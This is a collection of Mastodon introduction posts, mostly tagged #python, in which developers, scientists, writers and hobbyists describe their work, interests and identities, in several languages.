Outside of my fursona, I'm a Black socialist non-binary person with a love for #python, #rustlang, and other technology things. I'm #actuallyautistic.
My other interests include toppling the patriarchy, trans rights, and economics.
@wrrrdnrrrdgrrrl@eldritch.cafe
Another batch of birdsite folks, so I'll do #introduction again in case they're looking for their people and I'm their people.
I am a #queer #disabled #SFF #author. She/they.
I speak #English and a little #Español, #ASL, and #Csharp and #python.
I have fairly severe #EhlersDanlos / #EDS, #POTS, #migraines, #ChronicPain.
I am a #socialist organizer with #DemSoc, most interested in #feminism and #MutualAid.
I enjoy #punk, #ska, #FolkPunk, and lately I'm on a #metal kick.
I do #VisualArts, #FiberArts, and #FireSpinning, though these things are somewhat dialed back because my bones suck.
***
I will do my best to post accessibly, including image descriptions and avoiding flashing lights.
I will CW for things like violence, nudity, and hate speech.
I will not CW for cursing, food, politics, or eye contact. If you need CWs for these things, it's okay not to follow me! I just do all of these things a lot, so you wouldn't see most of my posts anyway.
If I see you, and you make interesting original posts, I might follow you. If you post a lot of sexually graphic content, I probably won't. It's not personal.
Hope to see you around 💜
@awkravchuk@functional.cafe
Hey, #introduction time! I'm Andrew Kravchuk (pronounced "KRAHV-chook"), and I'm thrilled to make my first official post on Mastodon. I've been lurking here for quite some time now, and I have to say, I absolutely love it. It's like the blue bird site, but here I feel like I'm in the warm, weird (in a good way) company of like-minded individuals.
I'm a proud #tech #geek and #programmer by trade, currently teaching programming in #C and #Python. However, my true passion lies in the #Lisp family of languages. For the past three years, I've been working on a hobby #gamedev project, which is an action RPG similar to Diablo 2 in #CommonLisp. Needless to say, I use #Emacs (but with evil-mode, since I don't have forty alien fingers 😅). Also I'm a proud Microsoft hater and #UNIX lover.
Born in #Russia, I fled to #Montenegro after the war. I'm passionate about being #anti-ruscist and generally #antiauthoritarian. Also, I happen to be an #atheist and an #introvert.
I'm a big fan of #anime, and I believe that #Evangelion is the best dramatic piece of the 20th century. I enjoy reading #books, and I dream of writing #fiction someday.
I'm excited to join Mastodon and look forward to making friends 😊
P.S. This post may or may not have been written with the aid of LLM.
@jph@hachyderm.io
Never got around to a Hachyderm intro post, so…
Hello, I’m James 👋 a Linux systems administrator from the UK
⚙️ #devops enthusiast, interested in Automation, stateless systems and Config Management
🦀 Learning #Rust, user of #Go, #Python and #Ruby…
🐧 #nixOS user and Enterprise Linux fan
🌍 Working on #climate #science #HPC at a UK national lab
⚜️ Scout Leader in East Anglia #ukscouting
🥾 Finding every opportunity to go out #hillwalking #kayaking and #paddleboarding
✊ 🏳️🌈🏳️⚧️🇪🇺
@crowsandpawns@tech.lgbt
New instance, new #introduction
1. I'm bad at shitposting
2. Generally very #nerdy and enthusiastic about lots of topics.
3. Married, dad, #bisexual, he/him
4. Originally a scientist, now work for a non-profit, but the goal for this account is to not think (or post) about work too much
5. Activist left-wing politics
6. Formerly @crowsandpawns@mastodon.lol
Likes: #SciFi #SciFiArt #science #math #osint #solarpunk #QueerArt #maps #python #activism #democracy #running #hiking #socialism #QueerCommunity, most types of #music, most types of #movies, basically any #books I can get my hands on
Dislikes: mean-spirited bigots, billionaires
@shykes@hachyderm.io
How Dagger uses Ruff: https://dagger.io/blog/ruff
Faster python linting, implemented in Rust ❤️
@coveragepy@hachyderm.io
Introduction: coverage.py is the coverage measurement tool for #Python. It's popular enough that people don't realize there's a already a coverage tool in the standard library!
I'd love your help! There are interesting issues to diagnose, exotic execution environments to support, and lots of people will use your work: https://coverage.readthedocs.io/en/latest/contributing.html
"I" is @nedbat, maintainer and sole proprietor.
@jskherman@mathstodon.xyz
Hello world, I'm Je Sian. I am a Chemical Engineer (ChE) that graduated from Bicol University.
I do some #coding as a hobby. Currently, I'm interested in doing data analysis related to #quantifiedself with my own data with #Python.
I joined #Mathstodon to be better exposed to mathematically-oriented content and the \( \LaTeX \) support because it's nice!
I also like 🍨 ice cream, ☕ iced coffee, and 🍹 iced tea, in no particular order.
@drinkswriter@epicure.social
Hi, who dis?
I have migrated over to epicure.social to hang out with fellow food and drink types, so here's my #Introduction again.
I'm a #DrinksWriter from #London.
My book #GinATastingCourse will be published in September 2023.
I write about #Beer, #Cider, #Spirits and #Cocktails. (Sometimes with a #Travel or #Sustainability angle.)
I mainly post about #Booze but also sometimes #Coding — I like to automate my boring admin using #Python and #ObsidianMD.
I also post about #Writing and particularly #NonFiction, and what it's like living the #WritingLife.
@13reak@infosec.exchange
Hi,
I am an #infosec enthusiast interested in #dfir #incidentresponse #malware #rootkits #velociraptor #reversing and a bit #pentesting / #purpleteam (yeah, bit more on the #blueteam side... 😅 )
Programming wise #linux #python #rust #golang
Apart from that I can always talk about #rock and #metal 😀 🤘
Looking forward to connect to people on these topics - feel free to PM me 🙂
@fedex6@mastodon.social
RE #introduccion
[Por mudanza de cuenta]
#Argentino, amante de la #tecnologia, del #automovilismo, #basket y de #musica escucho mas que nada Rock y sus variantes (mas cercanas, nada experimental jaja), Metal y Grunge.
Actualmente trabajo como developer para una empresa, principalmente me encargo del CRM, que esta hecho enteramente por mi en #HTML, #CSS, #JS, #PHP y #MySQL.
Tambien he hecho cosas en #Python para el trabajo, principalmente para IoT con una Raspberry.
Y fan de !
@tnibert@fosstodon.org
I suppose I should do an #introduction. I'm a software engineer, programming as a hobby since 2004 and professionally since 2016. I've done a bunch of #python, #rust, and #golang. Learning #electronics and #fpga. I'm interested in the lower levels of stack. My career was in #biomedical devices, and I now work in #space tech. Desktop #linux user since 2004. Father of a small one. Done #jujitsu for mad days. Enjoy #retrogaming, #retrocomputing, and #misterfpga. Glad to be here with y'all.
@mahmoud@qoto.org
👋 Hey again #Mastodon.
Giving this a spin again, whatever the future of general purpose social media may be.
I'm into #python, #software, #opensource, #foss, #wikipedia, #freeculture, #فارسی, #fintech, and #photography. Oh, and lately, #fatherhood.
More about me on my site: https://sedimental.org/about.html
@taedryn@dice.camp
#introduction post, because I need a new one.
Hey, I'm Taedryn! You'll quickly discover that I'm a #trans #femme person, who's also #nonbinary, and that's a lot of what I talk about.
I talk less about #programming in #python and #go, playing the #cello, #photography, #writing, #electronics, #aviation and my #biplane, #ttrpg, and the other biplane I'm #homebuilding in my garage. But those are important too.
The take-away you should get from all this? Huge freakin' #nerd here.
@prcutler@hachyderm.io
I just switched instances, so here is my #introduction:
I'm Paul and I live just outside of Minneapolis, MN.
I'm a maker who is into #podcasting and programming with #Python and #CircuitPython - there's just something about interacting with hardware that I love.
I love #music: I have a large #vinyl record collection and built silversaucer.com to interact with my record collection.
Other interests include retro gaming, building an arcade cabinet, reading, and cooking.
@MarcSchulder@fediscience.org
Time for a re-#introduction:
I am a researcher in #SignLanguage #Lingustics. I work at the #DGSCorpus project at #UniversitätHamburg, creators of the largest discourse corpus of #GermanSignLanguage. My background is in #ComputationalLinguistics (aka #NLP) and currently I focus a lot on #ResearchDataManagement and ethical #OpenScience for sign language data.
I program mostly in #Python and enjoy tinkering with #LaTeX.
I'm a big fan of Terry Pratchett's #Discworld. And of #cats. Cats are nice ❤️
@jumpingrivers@fosstodon.org
Hello world! @jumpingrivers are now on Mastodon so here's our #Introduction!
We're a data science consultancy company who specialise in R and Python development, training courses on programming, and managing infrastructure - amongst other things!
We'll be sharing our blogs on #RStats, #Python and all things #DataScience, alongside spotlighting some of our favourite blogs we've seen in the community! We'll also share information about our events and training courses here!
@judy2k@chaos.social
I've been here for a few years, so I guess it's time to do an #introduction
I don't distill easily.
I'm Mark (or Judy), and I live in #Edinburgh!
My main expertise is in #python and scalable software.
I work at #MongoDB and previously at Skyscanner, FanDuel & Nexmo (& other places)
Increasingly #rustlang is my go-to language. I'm not good at it, but I'm getting better.
I do #3dprinting and design, occasionally a bit of #electronics. Also #beer, #cocktails, #crochet & #snowboarding.
@wolfensteijn@urface.social
New server, new #Introduction. Which reminds me that I still need to create one of those on my current main account of @wolfensteijn@mastodon.wolfschouten.nl
My name is Wolf, I'm 41 and I live in #Hilversum in the #netherlands
My day job is being a technical application manager and systems administrator at a Water Consultancy firm.
My hobby's and interests include (but are not limited to) #Photography #3DPrinting #Electronics #Cycling #Walking #DevOps #Python #Git #linux #Networking #Minecraft #fedi22
@keyboardpipette@genomic.social
Finally my #introduction. I am #bioinformatician aspiring to do more #datascience, having my first experience in a Biotech startup.
I like to code, self-taught, and using mostly #RStats, but have dabbled in #python and love the #linux command-line.
My background is in experimental (neuro)biology with a transition to #genomics and #transposon / small RNA biology later on. My CV is best captured in this plot done 100% with code.
@EricBeaudry@techhub.social
Time for my #introduction (1/2)
I like making things that involve technology. Hence many of my interests are tech related
#Programming, mainly #dotnet #csharp but also #c #cpp and #python
#3dPrinting objects I#3dModel with #Fusion360
#Electronics has fascinated me since I got that kit 40 years ago! https://www.zpag.net/Electroniques/Kit/200_manual.pdf
Some time ago, I started putting it all together and created NEURHOME which is still in its infancy, but it gives me a purpose (or excuse) to spend time doing stuff I like.
@steko@octodon.social
I'm not new to the Fediverse but an introduction is never bad!
I'm a white male from Italy. I'm anti-fascist and vegetarian. Pronouns are he/they.
I love using my bike to move around the city 🚴♂️
I'm dad of 2 children, and husband of my wife. I work for the Ministry of Culture. PhD in #Byzantine #Archaeology although I now work in Liguria. I maintain small open source tools, mostly in #Python and #RStats. I have a website and a #Gemini capsule (links are in the profile)
Please don't request to follow unless we know each other from previous interactions or offline.
Vivo a #Genova. Faccio l'archeologo. Lavoro al Ministero della #Cultura
Uso ə tutte le volte che mi pare. Gli #NFT sono cacca puzzolente.
@CleoQc@mstdn.ca
I'm guessing I sorta need an #introduction after a server move? Maybe?
anyway, I'm CleoQc, a software dev who does more operationals/supply chain than actual software development, but if I were to write code, #python would be my language of choice. Otherwise French or English, equally.
I tend to be a #RaspberryPi pusher in Montreal.
I teach kids the basics of electronics and coding. I also train teachers in bringing code into their classroom #raspberryPi #Microbit
@health_data_abacus@mstdn.ca
Wow this is so blank. Ok I've been active on the fediverse since 2017 but this will be my new account for politics and govtech and data science and complaining. I use #R #QGIS #GIS and #Python, all poorly.
#introduction
@conorh@mastodon.sdf.org
Relatedly, as for re- #introduction. I’m a guy in the East Bay Area doing software in mainly #C #C++ and #ObjectiveC , #Swift sometimes; I also enjoy #python #UNIX and the #macintosh. Team #emacs. On the non-technical side I enjoy a good (or just interesting) #beer or #whiskey , petting my adorable asshole of a dog, eating dumplings (for example, burritos and beef Wellington) and telling the absolute worst, most groan-inducing jokes imaginable.
@briansullivan@mastodon.sdf.org
So this #introduction thing seems to be a thing -- been here a couple of weeks and was unaware.
Anyway:
I am a #Canadian retired software developer (50 years on the job) having worked over the years on #PDP10 #PDP11, 8088s, Cemcorp Icons, CP/M, #Asymetrix #Toolbook, #Zope,#Python and probably others that don't immediately come to mind. A father with 2 adult children with their own children. I am a Formula 1 fan, #Porsche #Boxster owner and active high performance driver education participant.
@technige@fosstodon.org
@cordelya@toots.cordelya.net
#Introduction en Français:
Je suis amateur de programmation et micro-électroniques. D'habitude, je me spécialise dans #php et #python.
Je fais beaucoup de projects avec des ordinateurs monocartes et #CircuitPython.
J'aime apprendre, faire et enseigner les arts et les sciences pré-industriels et passer des week-ends vêtus de drôles de vêtements lors d'événements #SCA.
Je suis situé dans le centre-sud de la PA USA depuis 2018.
J'ai commencé à apprendre le français en nov 2020 avec #Duolingo.
@cordelya@toots.cordelya.net
#introduction (rewrite)
I'm a development & micro-electronics hobbyist who specializes in #php and #python for the most part.
I do a lot of projects using single-board computers and a bit also with #CircuitPython gadgets.
Games I enjoy: #minecraft, #OxygenNotIncluded, #Fallout & #Skyrim
I also enjoy learning, doing, and teaching pre-industrial #arts & sciences and I spend some weekends in funny clothes, hanging out with people at #SCA events.
Located in south-central #PA (USA) since 2018.
@MrHedmad@genomic.social
I forgot to do this, so here it is:
Hello #mastodon! I'm Luca, a #PhD student in #complexsystems at the University of Turin (#unito).
I mainly work in #genomics and #transcriptomics. My project involves the study of the #cancer #transportome, and its role in the overall #cellbiology.
I code in #python and #R, but i'm trying to (slowly) learn about #rustlang. I use #archlinux, btw.
I also play a ton of #boardgames and #videogames. I love #mechanicalkeyboard (s) and own a #corne myself.
@sukin@vivaldi.net
Just realised that I've never done a #introduction here. So here it goes.
I'm Parxevicj(the name has no meaning its just keyboard smash), I'm interested in programming(mostly #rust, but i also do #python sometimes), open source, light novels and manga. I'm usually a lurker, but I'll try to post on this account often.
@Hakarl@kolektiva.social
I've just moved servers so another one of these.
Hákarl is the name of my musical project - guitar, oud, violin. Sounds like this: https://vimeo.com/394663122
I live in #Brighton (UK, boo). My politics are broadly (left-) anarchist. Trans rights are human rights, Black Lives Matter.
There's a longer story about it but I use 'they' pronouns online - I do identify IRL as cis (boo) but I'd rather people who don't know me didn't identify me with a gender.
I'm interested in coding (#Python #JavaScript in the main), theory (especially #queerTheory, #cripTheory). I can bore you to tears about #typography and things like #functionalProgramming.
#architecture is a thing that is fit. #crypto is the opposite of fit and you should stop it.
@LauraLangdon@hachyderm.io
#introduction Hi, I'm Laura! I'm a #DeveloperAdvocate specializing in #docs, previously a #math prof. I'm in the #ADHD or maybe #AuADHD zone of the #Neurodivergent world.
I'm comfiest coding in #Python, and I'm into #ResponsibleAI, #BicycleInfrastructure, #ResearchAsRecreation, #SocialJustice, #Pedagogy, #OwnYourData, #a11y, and #FuckWhiteSupremacy.
I like meeting kind people who do neat things!
@villares@ciberlandia.pt
#introduction
- I'm currently working on a PhD at Unicamp
- I should be tooting less and concentrating, but… ask me about drawing with #Python! Check out #py5 and #pyp5js, they bring in the drawing vocabulary from #Processing & #P5js
- I’d like to collaborate on open resources to teach programming in a visual context & I keep a list of tools for teaching Python with visual output at https://github.com/villares/Resources-for-teaching-programming
- I make a new drawing with code everyday & I put the results at https://github.com/villares/sketch-a-day
- 2024 Update: Adding more "please support me" things in my profile links!
#EndUserPogramming #NotADeveloper #CreativeCoding #EduComp
@marcink@stolat.town
#introduction on the occasion of switching instances.
I'm Marcin, he/him, mostly #programming; #Go/#golang these days, earlier #Python, Javascript, C++, Perl, Java, to Pascal and Basic 30+ years ago. I burn through hobbies fast; photography and music stuck for longer, both in "I have no idea what I'm doing but this is fun" mode. Also #electronics and building stuff for festivals, from #blinkenlights to night clubs in Nowhere.
@ptmcg@fosstodon.org
I'm excited and honored to be included in this group of authors - "Python in a Nutshell, 4th Ed" gets released this month! New features in this edition:
- detailed coverage of Python versions 3.7 through 3.11
- all new material on recent Python features, including type annotations and structured pattern matching
- an appendix cataloging changes by each version 3.7 through 3.11
- selected online chapters and all source code examples available in a Github repository
#python #oreilly #pynutshell4
@HugeGameArtGD@mastodon.gamedev.place
Released a cli tool "gdscript-transpiler-bin" which translates basic gdscript files to python
Python code can later be compiled into a standalone executable
https://linuxusergd.itch.io/gdscript-transpiler-bin
Source code: https://codeberg.org/LinuxUserGD/gdscript-transpiler-bin
@mathieucomandon@fosstodon.org
#introduction
I'm the creator and maintainer of #Lutris, a video game platform for Linux dedicated to preservation.
While I want to keep this account mostly tech focused (#python, #js and #linux), I also post #food and #photography from #LosAngeles and any animal I can find.
@StrepsipZerg@scicomm.xyz
Hey !
Here's a longer #introduction
I am an entomologist. I am interested in #insects #evolution, especially immunity and #morphology in #ants. I'm interested in #entomology and #ecology in general. I love #scicomm
I make a #podcast about insects :
https://strepsipzerg.com/podcast/
I speak english and #french, and I am trying to learn #German and #Yiddish
I am also interested in:
#Fermentation
#Scifi
#FOSS
#Programming in #Python and #R
#ttRPG (pen & paper)
#SolarPunk
See you around!
@edrogers@fosstodon.org
Suppose I should provide a brief #introduction
- Background in #physics
- Use #datascience #machinelearning and #cloudcomputing to solve challenging problems in #insurance
- Live in #Madison #Wisconsin
- Organizer of our local #python meetup group -- see @madpy
- Perennially hopeful #WhiteSox #baseball fan
- Devoted #tea drinker
- Proud papa of two
@mradamcox@mapstodon.space
Intro! Happy to be here on mastodon and meeting new people! I am a geospatial developer most interested in #FOSS4G and new applications of #HistoricalMaps and #digitalhum geo things like that. Currently I'm mainly using #qgis #django #python #svelte #geoserver #Openlayers and #titiler.
My current project is a #crowdsourcing site for georeferencing #Sanborn fire insurance maps of US cities: https://oldinsurancemaps.net.
@unlambda@hachyderm.io
An #introduction since I've just migrated from @annodomini
Brian Campbell (he/him).
Day job is working in DevOps at Beta Technologies, an electric #aviation eVTOL startup. I also help out with telemetry and software verification. I work mostly in #Python and #C there.
At night, I prefer #Rust.
To many hobbies to list; a few:
* Learning to #fly
* #Bicycling
* #Motorcycling
* #Juggling
* #BoardGames
* #Cooking
* #Archery
* #SCA (medieval group)
Thanks @nova for hosting!
@trike@cyberspace.rodeo
New #introduction toot, since I moved over to my own instance:
I'm Mike. He/him, il/lui. I live on unceded and unsurrendered Wolastoqey territory. I'm #bisexual and #polyamorous. I have two partners, one kid, one dog. I have #adhd. I'm a #technicalwriter, mostly working in #dita, and I code a little in #python. I write fiction and poetry on the side. I play #dnd and #bass. I like #hiking, #linux, #dogs, #DoctorWho, #StarWars, #reading, #history, etc.
@amr@talksmacky.com
Now that I’m somewhat-settled on my new instance, I’ll (re)introduce myself… If you know me from #RollerDerby I'm Hewlett Smackard or just Smacky. Otherwise I’m Andrew.
Interests include: #sports #AmericanFootball #baseball #AussieRules #AFL #MLB #NFL #Mets #Chargers
@K_REY_C@social.coop
#introduction - I'm Kyle. I like #tea
Super #Neurodivergent
26+ yrs of formal #education
#PhD - Fine #Art
#MA - #Theater
Works with #nonprofit organizations. Previously many things ― e.g. #teacher
Desktop #Linux user since 2008 - #Fedora
Plays & Enjoys #Music
#Write & #Read words
#GraphicDesign & #Marketing
I make #Visual #Art
Use #OpenSource software like #Inkscape & #Blender & #Python & too many to count to do all sorts of #Silly & #Important #Things
Say hi!
@LucasWerkmeister@wikis.world
#Introduction: I’m Lucas, bi software developer and Wikimedian from Berlin. I like writing tools for #Wikimedia #Toolforge, mainly in #Python, though I’m also working on a #JavaScript library to use the MediaWiki API; on the projects, I’m mainly active on #Wikidata and #WikimediaCommons. I play the #piano and occasionally live-stream that or post recordings. I’m making my way through #Tolkien’s The History of Middle-earth. I speak German, English and some Portuguese. Nice to meet y’all 🙂
@gabriele@mastodon.lucci.xyz
After two years of lurking, I think it's time for a proper #introduction.
I'm a software developer from Italy, I love #Python and #Django. I'm also some kind of #sysadmin, I maintain a wide range of services for myself and my friends, including a #nextcloud instance, a #minecraft server and this #mastodon instance.
@Freaky@hachyderm.io
New server, new #introduction. Hi!
I'm Thomas, a quadragenarian #autistic nerd from the north-east of England.
I mess about a lot with computers - I run #FreeBSD, self-host much of my internet presence, and program in #Rust, #Ruby, and a bit of #Python and #C.
If you've downloaded a Linux ISO on #Usenet in the past 15 years, I probably helped.
I like #SciFi, weird PC #games, #cooking, #dogs, and disapproval of our collapsing cyberpunk dystopian corporatist hellscape.
@thomas_sandmann@genomic.social
#Introduction after moving from mastodon.social
I'm a Computational Biologist at Denali Therapeutics in California's Bay Area.
My journey includes a Masters in Biochemistry, a PhD in Developmental Biology and high-throughput experiments exploring genetic interactions.
You can usually find me either collaboratively designing experiments or analyzing genomics data.
Next, I would love to learn about image analysis.
#single-cell #biotech #neurodegeneration #compbio #r #python #nextflow
@KalofXeno@mapstodon.space
#introduction (ver. mapstodon.space)
Hi, I’m Andy, a planetary geologist living on Planet Houston. I currently work at NASA-JSC for a contractor company. I spend my time crafting maps for Artemis Program. Previously, I targeted CTX for a little over 5 years at MSSS. I mostly use #GDAL, #QGIS, #Python, and ImageMagick to get stuff done but am looking to always learn more #FOSS software.
Other interest include: #StarTrek , #Superman , #DataVis, scuba diving, and hiking.
@ology@fosstodon.org
@lazarukb@mstdn.ca · Reply to Brad Lazaruk :coffeev: :mstdneh:'s post
#introduction (2/2)
I'm also a #UniversityOfLondon #tutor in #computerScienceEducation, working on #graphicsProgramming in #JavaScript & #ObjectOrientedProgramming in #cplusplus. My preferred language is #python which I'm using as a student in #artificialIntelligence, #machineLearning, and #naturalLanguageProgramming.
My current and past #cats will be on #caturday.
As a life-long #GenX aged person I'm addicted to #PearlJam, #TheCure, #REM, and of course #LeonardCohen.
@sparksbet@www.librepunk.club
Oh god I need to make an #introduction apparently
26 yo, bi ace transmasc NB, from Ohio but living in Berlin. I've got #ADHD, #neurodivergent #queer and proud.
My hobbies:
- I fucking love to #conlang and it's also how I met my spouse.
- I've started learning #embroidery and am hoping to get into #threadpainting
- I enjoy #gaming, especially when it's an #indiegame. My favorites are narrative-driven games like #discoelysium or simulation games like #rimworld and #sims. I'm also interested in #gamedev, but I haven't dipped my toes yet.
Studied #linguistics in undergrad and switched to #NLP for grad school. I used to want to continue in academia but realized I'd rather make more money and have better work-life balance not doing that. Now I work in #datascience coding in #python for a tech startup and am generally pretty happy with that setup. My heart still calls out for #semantics and #pragmatics though.
@dungeons@mastodon.social
D&D-like campaigns, led by the results of public polls. No D&D knowledge required, see https://dungeons.astrelion.com for more info!
Made by @astrelion, posts made by me (and not the bot) are tagged #dev. If you have questions/suggestions please include an @ for my personal account.
This is actively being developed; features are subject to change and improve.
#dnd #dev #bot #programming #python
@py5coding@fosstodon.org
This is the #introduction post for #py5, a new version of #Processing for #Python. The goal of py5 is to create a new version of Processing that is integrated into the Python ecosystem (python 3.8+). Py5 makes the #Java Processing jars available to the CPython interpreter using JPype. It can do just about all of the #2D and #3D drawing Processing can do, except with Python instead of Java code. Visit https://py5coding.org/ to learn more!
@davidshq@hachyderm.io
Software Engineer. Insatiable learner across an eclectic collection of topics: #coding, #psychology, #history, #philosophy, #religion / #spirituality, #socialjustice, etc.
Introvert, but friendly. Slowly working towards building a #searchengine to replace #google.
Live in #georgia, from upstate #newyork.
Currently working on #enterprise #search; these days I primarily code in #python and #typescript
@fatiando@fosstodon.org
Hello Mastodon! Here's an #introduction.
We're Fatiando a Terra (https://www.fatiando.org), a community of geoscientists and software developers building #OpenSource tools in #python for #Geophysics #EarthScience and #DataScience. See the thread below 👇🏽 for an overview.
First, a little trivia: "Fatiando a Terra" is Portuguese for "Slicing the Earth", a reference to the project's Brazilian 🇧🇷 roots and ambitious goals to model the entire planet.
for tool in fatiando:
help(tool)
@deliverator@infosec.exchange
Hello world! Been lurking a few days, time for an #introduction I guess.
Been in infosec for almost 14 years now (wow time flies!). Went the military way - studied computer engineering, then ended up in a infosec type junior leadership position straight out of uni.
Worked with some great people and had some awesome opportunities. Worked in forensics and building up training programs. But it was here where I largely realized I didn't want to play the promotion/leadership game. I like doing technical work more than people management work.
I worked in mil/government for a few more years, did some SIEM engineering work and then packet and malware analysis.
Now in the private sector but in a largely infra/operations role, working on automating all the things. Lots of work with #ansible, #python, #postgresql.
I think this toot is probably more text then I ever wrote on the birdsite over many years.
@philiph@hachyderm.io
@manuq@mastodon.uy
Hi! I'm Manuel and as #introduction here is a list that kinda define what I do or what I like:
#floss #education #gnome #programming #python #pyar #pyday #pycon #pycamp #drawing #film #movies #filmmaking #animation #comics #cg #blender #krita #gimp #godot #circus #juggling #cordelisse #gardening #cooking #food #homebrew #sailing #kayak #litoral #santafe #argentina
@manuq@mastodon.uy
Hola! Soy Manuel y como #introducción acá va una lista que medio define lo que me gusta o lo que hago:
#softwarelibre #educación #gnome #programación #python #pyar #pyday #pycon #pycamp #dibujo #cine #películas #animación #historietas #cg #blender #krita #gimp #godot #circo #malabares #cuerdalisa #huerta #cocina #comida #homebrew #nautica #nauta #kayak #litoral #santafe #argentina
@benedwards@mastodon.social
OK, time for some sort of an #introduction. I am Ben, #brighton resident, #sailor , web developer, #python #programmer
I love and occasionally make #music and #photography, noodling on the guitar and spinning basic electronica.
But I've done much less of that over the last few years and spent too much time doomscrolling instead, so hoping the demise of the other place might let me recover a bit of my creative life. (Although we’ll still have time for a bit of #politics, won’t we?)
@ike@pkm.social
👋 Hi! Like many of you, I'm trying new social products, including Mastodon. Say 'hi' and consider following if we share interests:
🔥 #FIRE
👨✈️ Aviator / Pilot #Cirrus / #Aviation
👨🎓 BBA, MBA
🏔 Mountaineer Mt.Whitney, HalfDome (4x) & South Sister
🎮 #RPG, #Roguelike, #TTRPG, and #FlightSim games
🏍 #Motorcycles + 🏕 #Camping
👨💻 Hobbyist coder #Rust #Python
💻 Tech industry vet 2 #IPO
😇 #SAAS Angel/Advisor
@obspy@fosstodon.org
@cjshearwood@peoplemaking.games
Obligatory intro post:
I'm CJ, a wargame designer, miniature sculptor and painter and software engineer living in Nottingham, UK.
Expect toots primarily about games, miniatures and space. Be forewarned about arcane programming complaints.
#wargames #wargaming #miniaturepainting #miniatures #gamedesign #python
@swatantra@fosstodon.org
I am looking for people who can translate example codes in #R to an equivalent #Python, #Julia, or #MS #Excel code for my #educational #datascience #blog.
@rodolpho@piupiupiu.com.br
No tempo livre, sou presidente da Swiss Python Summit Association. A entidade que organiza a conferência nacional de #python.
Gosto muito de #retrocomputing, #gemini e #permacomputing.
Tenho #tdah e ainda não aprendi a controlar esses super-poderes.
#introdução pt.2
@poliastro@fosstodon.org
Hello #fediverse! Time for an #introduction 🚀
poliastro is an #opensource (MIT) pure #Python library for interactive #Astrodynamics and #OrbitalMechanics. It provides a simple and intuitive API, it's fast thanks to #numba, and it handles physical quantities with units thanks to #Astropy.
🌐 Website https://www.poliastro.space/ Source code https://github.com/poliastro/poliastro
We will be posting tips, news about the project, and cool plots. Stay tuned!
@kennethd@fosstodon.org
I am a web & data engineer based in nyc, working primarily in #DevOps spaces with #python and lately getting into #rustlang
#FOSS activity mostly pre-meetup #nylug, #fsf & #debian communites going back 20+ years
Other interests #photography #literature #film #jazz #harlem #journalism #politics #history #genealogy
@nikdoof@incognitus.net
I should actually re-post and pin this #introduction since my move from mastodon.social:
Hi, I’m Andy, a #devops techie from the UK with a particular obsession with over engineering my home network setup. I operate dimension.sh (a tilde/pubnix), I’m also a Disney parks fan, Texans fan, and when I get a spare moment I enjoy a bit of wood working.
#boardgames #nfl #texans #woodworker #devops #developer #disney #disneyparks #python #ansible #tildeverse #pubnix #retrogames #homelab #f1
@cark@social.tchncs.de
re-#introduction as a scientist 👨🔬
Training: #Mecatronics + #ElectricalEngineering
Specialization: Nonlinear #ControlTheory #MachineLearning and #KnowledgeRepresentation
Long term mission: The knowledge to solve any problem in the world might be hidden in scattered PDF files that are barely read. I want to contribute to the improvement of this unsatisfactory situation, especially in the (partly overlapping) domains of #engineering and #sustainability
Also: Teaching #Python
1/2
@ericof@fosstodon.org
Hello Fediverse!
#Introduction time for me.
Érico Andrei, a software developer, retrocomputing aficionado, and open source evangelist. Based in São Paulo, 🇧🇷.
Nowadays, I'm a #Plone core developer, #Python developer, maintainer of #Cookiecutter, and member of the Brazilian #Plone and #Python communities. Former president of the @plone Foundation.
Touts will be in #en and I may go off-topic and post about #politics, #scifi, #soccer and #Mooca.
#LLAP
@jwarlander@mastodon.nu
An #introduction might be in order, as I'm starting to settle in! 👋
At my day job I'm doing backend development (#rustlang / #python), some #data engineering / analytics, some #cloud #infrastructure , and helping to evolve our architecture as we grow.
Beyond that I find #3dprinting fun & often useful, I am an occasional #gamer (mostly console), and I enjoy home improvement projects.
Currently I'm really focusing on digging deeper into Rust, as I've enjoyed working with it a lot!
@matthewbadger@fosstodon.org
(With apologies to followers, I’m now on fosstodon.org. 🥰)
• I work for a #cleantech #energy company, trying to make us more efficient and #carbonneutral through electrification ⚡️
• I do #statistics (#datascience) 📊, #dataenginnering, and #softwareenginnering with #python 🐍
• Besides that, I like travel (especially on #trains), #food 🥘, #wine 🍷 and #whisky (no ‘e’) with friends, learning Latin, and trying to catch up on ~5 years poor sleep now that my kids are getting older 🥱
@avehtari@bayes.club
All three books I've co-authored are freely available online for non-commercial use:
#Bayesian Data Analysis, 3rd ed (aka BDA3) at https://stat.columbia.edu/~gelman/book/ and lectures plus #rstats, #Python and #Stan code at https://avehtari.github.io/BDA_course_Aalto/
#Regression and Other Stories at https://avehtari.github.io/ROS-Examples/ including #rstats and #Stan code
Active Statistics at https://avehtari.github.io/ActiveStatistics/
The websites also have links to the publishers' web stores if you prefer hard copies of these
@lfloeer@bonn.social
I live in #Bonn and work in #DataScience and #MachineLearning Engineering. My projects in range from maintaining #Kubeflow installations in on-premises and cloud #Kubernetes clusters to developing #MLOps best practices for teams.
I mostly develop in #Python, #YAML, #Terraform, and am dabbling in #Rustlang.
I got my PhD in #Astronomy being a small part of the #EBHIS and #HI4PI team.
In recent years I’m having fun riding my #eMTB all across the #Eifel and #Ahrtal. #MTB
@Armavica@fosstodon.org
Hi! My name is Virgile, I am happy to be here! #introduction 👋
I am a physicist who loves computer science and works in biology. I really enjoy scientific computing and usually do so in #rustlang or #python
.
Currently, I am working on antibiotic resistance 💊 , and learning enthusiastically about #bayesian statistics 📚.
When I am not in front of my computer, I might be long-distance #hiking 🥾 ⛰️ ⛺ or learning #tapdance 🕺.
@obspy@fosstodon.org
We are #obspy, resistance is fudel.
We make code that other people use to make code to make everybody understand this piece of rock better that we all sit on.
observations are that person that operates the seismometer their own
#introduction #python #scicomm #seismology #earthquakes #foss
@martiell@infosec.exchange
Hello, I'm Martin. 👋 Here's a quick #introduction:
🏴 Live in #Edinburgh, #Scotland
🏛 Working for the Scottish Government
🌍 Building www.gov.scot and www.mygov.scot
🎲 #Software Engineer / #Infrastructure / #Devops
☁️ Deploying on #AWS
☕️ Developing with #Java, #Node, #Python
@freeradical@mastodon.online
Posting an #introduction for a pseud is a bit weird. Expect a bit of everything. I’m trained in synthetic organic #chemistry . I’m an #NMR enthusiast, amateur #python programmer, enjoyer of various nerdy things such as #gameing with an ‘e’ and #chess. I enjoy cooking, and I sometimes post pictures of my cats.
@40eridani@mastodon.social
After settling in, I guess it's time for an #introduction:
Hi, I'm Martin from #Germany. I also lived in #Italy (love the food 🍝) and #Sweden (love the furniture🪑).
I did my #PhD in theoretical #Physics. My research was about #Neutrinos and #DarkMatter.
